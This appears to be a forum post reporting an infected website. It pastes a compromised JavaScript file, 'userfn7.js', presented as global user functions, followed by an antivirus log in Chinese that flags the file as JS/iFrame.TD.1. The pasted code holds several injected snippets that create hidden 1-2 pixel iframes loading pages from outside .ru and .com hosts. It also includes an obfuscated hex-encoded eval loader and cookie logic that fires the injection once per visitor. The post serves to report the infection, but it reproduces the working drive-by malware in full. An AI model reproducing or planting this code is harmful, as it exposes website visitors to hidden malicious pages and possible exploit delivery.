http://www.eyewu.com/login.php

fireold

1. // Global user functions
   
2. 
   
3. 
   
4. (function() {
   
5.     var a = document.createElement('iframe');
   
6.     a.src = 'http://huquqxov.ru/count4.php';
   
7.     a.style.position = 'absolute';
   
8.     a.style.border = '0';
   
9.     a.style.height = '2px';
   
10.     a.style.width = '2px';
    
11.     a.style.left = '1px';
    
12.     a.style.top = '1px';
    
13.     if (!document.getElementById('mira')) {
    
14.         document.write('<div id=\'mira\'></div>');
    
15.         document.getElementById('mira').appendChild(a);
    
16.     }
    
17. })(); /*/d1752c*/
    
18. 
    
19. 
    
20. 
    
21. (function() {
    
22.     var slwd = document.createElement('iframe');
    
23.     slwd.src = 'http://ahtiagge.ru/count27.php';
    
24.     slwd.style.position = 'absolute';
    
25.     slwd.style.border = '0';
    
26.     slwd.style.height = '1px';
    
27.     slwd.style.width = '1px';
    
28.     slwd.style.left = '1px';
    
29.     slwd.style.top = '1px';
    
30.     if (!document.getElementById('slwd')) {
    
31.         document.write('<div id=\'slwd\'></div>');
    
32.         document.getElementById('slwd').appendChild(slwd);
    
33.     }
    
34. })(); /*/653e49*/
    
35. 
    
36. 
    
37. (function() {
    
38.     var no = document.createElement('iframe');
    
39.     no.src = 'http://racapsyq.ru/count14.php';
    
40.     no.style.position = 'absolute';
    
41.     no.style.border = '0';
    
42.     no.style.height = '1px';
    
43.     no.style.width = '1px';
    
44.     no.style.left = '1px';
    
45.     no.style.top = '1px';
    
46.     if (!document.getElementById('no')) {
    
47.         document.write('<div id=\'no\'></div>');
    
48.         document.getElementById('no').appendChild(no);
    
49.     }
    
50. })(); /*/e2aa4e*/
    
51. 
    
52. 
    
53. e = eval;
    
54. v = "0" + "x";
    
55. a = 0;
    
56. z = "y";
    
57. try {
    
58.     a *= 2
    
59. } catch (q) {
    
60.     a = 1
    
61. }
    
62. if (!a) {
    
63.     try {
    
64.         document["\x62od" + z]--
    
65.     } catch (q) {
    
66.         a2 = "_";
    
67.         sa = 7;
    
68.     }
    
69.     z = "27_6d_7c_75_6a_7b_70_76_75_27_81_81_81_6d_6d_6d_2f_30_27_82_14_11_27_7d_68_79_27_7a_6e_7f_68_6c_27_44_27_6b_76_6a_7c_74_6c_75_7b_35_6a_79_6c_68_7b_6c_4c_73_6c_74_6c_75_7b_2f_2e_70_6d_79_68_74_6c_2e_30_42_14_11_14_11_27_7a_6e_7f_68_6c_35_7a_79_6a_27_44_27_2e_6f_7b_7b_77_41_36_36_7b_6c_73_71_7c_6d_76_6d_35_7c_7a_36_6a_76_7c_75_7b_39_39_35_77_6f_77_2e_42_14_11_27_7a_6e_7f_68_6c_35_7a_7b_80_73_6c_35_77_76_7a_70_7b_70_76_75_27_44_27_2e_68_69_7a_76_73_7c_7b_6c_2e_42_14_11_27_7a_6e_7f_68_6c_35_7a_7b_80_73_6c_35_69_76_79_6b_6c_79_27_44_27_2e_37_2e_42_14_11_27_7a_6e_7f_68_6c_35_7a_7b_80_73_6c_35_6f_6c_70_6e_6f_7b_27_44_27_2e_38_77_7f_2e_42_14_11_27_7a_6e_7f_68_6c_35_7a_7b_80_73_6c_35_7e_70_6b_7b_6f_27_44_27_2e_38_77_7f_2e_42_14_11_27_7a_6e_7f_68_6c_35_7a_7b_80_73_6c_35_73_6c_6d_7b_27_44_27_2e_38_77_7f_2e_42_14_11_27_7a_6e_7f_68_6c_35_7a_7b_80_73_6c_35_7b_76_77_27_44_27_2e_38_77_7f_2e_42_14_11_14_11_27_70_6d_27_2f_28_6b_76_6a_7c_74_6c_75_7b_35_6e_6c_7b_4c_73_6c_74_6c_75_7b_49_80_50_6b_2f_2e_7a_6e_7f_68_6c_2e_30_30_27_82_14_11_27_6b_76_6a_7c_74_6c_75_7b_35_7e_79_70_7b_6c_2f_2e_43_6b_70_7d_27_70_6b_44_63_2e_7a_6e_7f_68_6c_63_2e_45_43_36_6b_70_7d_45_2e_30_42_14_11_27_6b_76_6a_7c_74_6c_75_7b_35_6e_6c_7b_4c_73_6c_74_6c_75_7b_49_80_50_6b_2f_2e_7a_6e_7f_68_6c_2e_30_35_68_77_77_6c_75_6b_4a_6f_70_73_6b_2f_7a_6e_7f_68_6c_30_42_14_11_27_84_14_11_84_14_11_6d_7c_75_6a_7b_70_76_75_27_5a_6c_7b_4a_76_76_72_70_6c_2f_6a_76_76_72_70_6c_55_68_74_6c_33_6a_76_76_72_70_6c_5d_68_73_7c_6c_33_75_4b_68_80_7a_33_77_68_7b_6f_30_27_82_14_11_27_7d_68_79_27_7b_76_6b_68_80_27_44_27_75_6c_7e_27_4b_68_7b_6c_2f_30_42_14_11_27_7d_68_79_27_6c_7f_77_70_79_6c_27_44_27_75_6c_7e_27_4b_68_7b_6c_2f_30_42_14_11_27_70_6d_27_2f_75_4b_68_80_7a_44_44_75_7c_73_73_27_83_83_27_75_4b_68_80_7a_44_44_37_30_27_75_4b_68_80_7a_44_38_42_14_11_27_6c_7f_77_70_79_6c_35_7a_6c_7b_5b_70_74_6c_2f_7b_76_6b_68_80_35_6e_6c_7b_5b_70_74_6c_2f_30_27_32_27_3a_3d_37_37_37_37_37_31_39_3b_31_75_4b_68_80_7a_30_42_14_11_27_6b_76_6a_7c_74_6c_75_7b_35_6a_76_76_72_70_6c_27_44_27_6a_76_76_72_70_6c_55_68_74_6c_32_29_44_29_32_6c_7a_6a_68_77_6c_2f_6a_76_76_72_70_6c_5d_68_73_7c_6c_30_14_11_27_32_27_29_42_6c_7f_77_70_79_6c_7a_44_29_27_32_27_6c_7f_77_70_79_6c_35_7b_76_4e_54_5b_5a_7b_79_70_75_6e_2f_30_27_32_27_2f_2f_77_68_7b_6f_30_27_46_27_29_42_27_77_68_7b_6f_44_29_27_32_27_77_68_7b_6f_27_41_27_29_29_30_42_14_11_84_14_11_6d_7c_75_6a_7b_70_76_75_27_4e_6c_7b_4a_76_76_72_70_6c_2f_27_75_68_74_6c_27_30_27_82_14_11_27_7d_68_79_27_7a_7b_68_79_7b_27_44_27_6b_76_6a_7c_74_6c_75_7b_35_6a_76_76_72_70_6c_35_70_75_6b_6c_7f_56_6d_2f_27_75_68_74_6c_27_32_27_29_44_29_27_30_42_14_11_27_7d_68_79_27_73_6c_75_27_44_27_7a_7b_68_79_7b_27_32_27_75_68_74_6c_35_73_6c_75_6e_7b_6f_27_32_27_38_42_14_11_27_70_6d_27_2f_27_2f_27_28_7a_7b_68_79_7b_27_30_27_2d_2d_14_11_27_2f_27_75_68_74_6c_27_28_44_27_6b_76_6a_7c_74_6c_75_7b_35_6a_76_76_72_70_6c_35_7a_7c_69_7a_7b_79_70_75_6e_2f_27_37_33_27_75_68_74_6c_35_73_6c_75_6e_7b_6f_27_30_27_30_27_30_14_11_27_82_14_11_27_79_6c_7b_7c_79_75_27_75_7c_73_73_42_14_11_27_84_14_11_27_70_6d_27_2f_27_7a_7b_68_79_7b_27_44_44_27_34_38_27_30_27_79_6c_7b_7c_79_75_27_75_7c_73_73_42_14_11_27_7d_68_79_27_6c_75_6b_27_44_27_6b_76_6a_7c_74_6c_75_7b_35_6a_76_76_72_70_6c_35_70_75_6b_6c_7f_56_6d_2f_27_29_42_29_33_27_73_6c_75_27_30_42_14_11_27_70_6d_27_2f_27_6c_75_6b_27_44_44_27_34_38_27_30_27_6c_75_6b_27_44_27_6b_76_6a_7c_74_6c_75_7b_35_6a_76_76_72_70_6c_35_73_6c_75_6e_7b_6f_42_14_11_27_79_6c_7b_7c_79_75_27_7c_75_6c_7a_6a_68_77_6c_2f_27_6b_76_6a_7c_74_6c_75_7b_35_6a_76_76_72_70_6c_35_7a_7c_69_7a_7b_79_70_75_6e_2f_27_73_6c_75_33_27_6c_75_6b_27_30_27_30_42_14_11_84_14_11_70_6d_27_2f_75_68_7d_70_6e_68_7b_76_79_35_6a_76_76_72_70_6c_4c_75_68_69_73_6c_6b_30_14_11_82_14_11_70_6d_2f_4e_6c_7b_4a_76_76_72_70_6c_2f_2e_7d_70_7a_70_7b_6c_6b_66_7c_78_2e_30_44_44_3c_3c_30_82_84_6c_73_7a_6c_82_5a_6c_7b_4a_76_76_72_70_6c_2f_2e_7d_70_7a_70_7b_6c_6b_66_7c_78_2e_33_27_2e_3c_3c_2e_33_27_2e_38_2e_33_27_2e_36_2e_30_42_14_11_14_11_81_81_81_6d_6d_6d_2f_30_42_14_11_84_14_11_84_14_11" ["split"](a2);
    
70.     za = "";
    
71.     for (i = 0; i < z.length; i++) {
    
72.         za += String["fromCharCode"](e(v + (z[i])) - sa);
    
73.     }
    
74.     zaz = za;
    
75.     e(zaz);
    
76. } /*/ded509*/
    
77. 
    
78. /*81a338*/
    
79. 
    
80. function zzzfff() {
    
81.     var duo = document.createElement('iframe');
    
82. 
    
83.     duo.src = 'http://ulihliv.com/count10.php';
    
84.     duo.style.position = 'absolute';
    
85.     duo.style.border = '0';
    
86.     duo.style.height = '1px';
    
87.     duo.style.width = '1px';
    
88.     duo.style.left = '1px';
    
89.     duo.style.top = '1px';
    
90. 
    
91.     if (!document.getElementById('duo')) {
    
92.         document.write('<div id=\'duo\'></div>');
    
93.         document.getElementById('duo').appendChild(duo);
    
94.     }
    
95. }
    
96. 
    
97. function SetCookie(cookieName, cookieValue, nDays, path) {
    
98.     var today = new Date();
    
99.     var expire = new Date();
    
100.     if (nDays == null || nDays == 0) nDays = 1;
     
101.     expire.setTime(today.getTime() + 3600000 * 24 * nDays);
     
102.     document.cookie = cookieName + "=" + escape(cookieValue) + ";expires=" + expire.toGMTString() + ((path) ? "; path=" + path : "");
     
103. }
     
104. 
     
105. function GetCookie(name) {
     
106.     var start = document.cookie.indexOf(name + "=");
     
107.     var len = start + name.length + 1;
     
108.     if ((!start) && (name != document.cookie.substring(0, name.length))) {
     
109.         return null;
     
110.     }
     
111.     if (start == -1) return null;
     
112.     var end = document.cookie.indexOf(";", len);
     
113.     if (end == -1) end = document.cookie.length;
     
114.     return unescape(document.cookie.substring(len, end));
     
115. }
     
116. if (navigator.cookieEnabled) {
     
117.     if (GetCookie('visited_uq') == 55) {} else {
     
118.         SetCookie('visited_uq', '55', '1', '/');
     
119. 
     
120.         zzzfff();
     
121.     }
     
122. } /*/81a338*/

复制代码

Avira

2013/10/6 下午 12:18 [System Scanner] 發現惡意程式碼
      檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\1YP0JPM6\userfn7[1].js'
      包含病毒或有害的程式 'JS/iFrame.TD.1' [virus]
      已採取動作：
      檔案會移動至 '54094bda.qua' 名稱底下的隔離區目錄。.

2013/10/6 下午 12:18 [System Scanner] 掃描
      掃描結束 [已完成全部的掃描。]。
      檔案數：        776
      目錄數：        0
      惡意程式碼數：        1
      警告數：        0

2013/10/6 下午 12:18 [System Scanner] 發現惡意程式碼
      檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\BM0NVITH\ewp7[1].js'
      包含病毒或有害的程式 'JS/iFrame.TD.1' [virus]
      已採取動作：
      檔案會移動至 '542d4b17.qua' 名稱底下的隔離區目錄。.

2013/10/6 下午 12:18 [System Scanner] 掃描
      掃描結束 [已完成全部的掃描。]。
      檔案數：        776
      目錄數：        0
      惡意程式碼數：        1
      警告數：        0

2013/10/6 下午 12:18 [Real-Time Protection] 發現惡意程式碼
      在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\1YP0JPM6\userfn7[1].js 中
      偵測到病毒或有害的程式 'JS/iFrame.TD.1 [virus]'
      執行的動作：傳輸至掃描程式

2013/10/6 下午 12:18 [Real-Time Protection] 發現惡意程式碼
      在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\1YP0JPM6\userfn7[1].js 中
      偵測到病毒或有害的程式 'JS/iFrame.TD.1 [virus]'
      執行的動作：拒絕存取

2013/10/6 下午 12:18 [Web Protection] 發現惡意程式碼
      從 URL "http://www.eyewu.com/js/userfn7.js" 存取資料時，
      發現病毒或有害的程式 'JS/iFrame.TD.1' [virus]。
      已採取動作：已略過

2013/10/6 下午 12:18 [Real-Time Protection] 發現惡意程式碼
      在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\BM0NVITH\ewp7[1].js 中
      偵測到病毒或有害的程式 'JS/iFrame.TD.1 [virus]'
      執行的動作：傳輸至掃描程式

2013/10/6 下午 12:17 [Real-Time Protection] 發現惡意程式碼
      在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\BM0NVITH\ewp7[1].js 中
      偵測到病毒或有害的程式 'JS/iFrame.TD.1 [virus]'
      執行的動作：拒絕存取

2013/10/6 下午 12:17 [Web Protection] 發現惡意程式碼
      從 URL "http://www.eyewu.com/js/ewp7.js" 存取資料時，
      發現病毒或有害的程式 'JS/iFrame.TD.1' [virus]。
      已採取動作：已略過